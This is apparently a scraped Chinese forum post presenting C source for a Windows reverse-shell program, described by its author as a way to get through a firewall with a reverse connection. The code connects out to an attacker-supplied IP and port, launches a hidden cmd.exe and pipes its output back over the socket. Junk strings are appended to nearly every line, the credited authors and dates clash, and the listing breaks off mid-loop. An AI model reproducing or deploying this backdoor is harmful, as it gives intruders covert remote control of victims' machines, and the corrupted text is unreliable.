这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }`{aeVHT
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/* ============================== e #>wv]V
Rebound port in Windows NT 6NVf&;laQ
By wind,2006/7 {*r*+}@
===============================*/ `Jq
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#include tq8B)<(]
#include 2a3hm8%U
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#pragma comment(lib,"wsock32.lib") l23_K7
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void OutputShell(); BHy#g>KUF
SOCKET sClient; 6HW<E~G'6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `i<;5s!rX
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void main(int argc,char **argv) ?H#]+SpOcv
{ 4/e-E^
WSADATA stWsaData; Em N0K'x
int nRet; #DXC6f
SOCKADDR_IN stSaiClient,stSaiServer; T@;z o8:
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if(argc != 3) y]xG@;4M
{ :[3{-.c
printf("Useage:\n\rRebound DestIP DestPort\n"); 0C#1/o)o
return; GU8b_~Gk?
} ]rO`eN[~U
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WSAStartup(MAKEWORD(2,2),&stWsaData); {0+gPTp
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )cNG)F
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stSaiClient.sin_family = AF_INET; g7res
stSaiClient.sin_port = htons(0); 12M&qqV
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _%Sorr
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AB'q!7NR
{
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printf("Bind Socket Failed!\n"); L1D{LzlBti
return; b*LEoQSl0V
} >:%i,K*AM
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stSaiServer.sin_family = AF_INET; sPYG?P(l
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R?a)2jl
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7afD^H%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) GJ edW
{ ~'2)E/IeV
printf("Connect Error!"); ?dP3tLR
return; `c ~Va/Yi
} TMj(y{2
OutputShell(); ]X?~Cz/wl
} ^} P|L
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void OutputShell() dVmI.A'nbp
{ _Il/ i&
char szBuff[1024]; 4h\MSTF*
SECURITY_ATTRIBUTES stSecurityAttributes; QijEb
OSVERSIONINFO stOsversionInfo; $m] ~d6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; cVv+,l4V0
char *szShell; RbKAB8
PROCESS_INFORMATION stProcessInformation; Mt (wy%{zK
unsigned long lBytesRead; #80DM
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); r+-KrO'
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /PH+K24v~
stSecurityAttributes.lpSecurityDescriptor = 0; u0`~
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stSecurityAttributes.bInheritHandle = TRUE; P*_!^2
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); p1
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rC
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); JG @bl
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rT9<_<
stStartupInfo.wShowWindow = SW_HIDE; uUu]JDdz
stStartupInfo.hStdInput = hReadPipe; ?W-J2tgss{
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [0U!Y/?6lA
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GetVersionEx(&stOsversionInfo); Ymkk"y.w
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switch(stOsversionInfo.dwPlatformId) Y0fX\6=h
{ Is&z~Xy/
case 1: :SUPGaUJ"
szShell = "command.com"; VRurn>y0
break; L\_MZ*<0[
default: R`q*a_
szShell = "cmd.exe"; 0i/l2&x*k]
break; ??0C"8:[
} vY0C(jK
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /{Ksi+q
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send(sClient,szMsg,77,0); *ci,;-*C
while(1) w|!>>W6J
{ )_N|r$i\
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (yIl]ZN*
if(lBytesRead) $o"Szy
{ V1 T?T9m
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (1p[K-J)r
send(sClient,szBuff,lBytesRead,0); <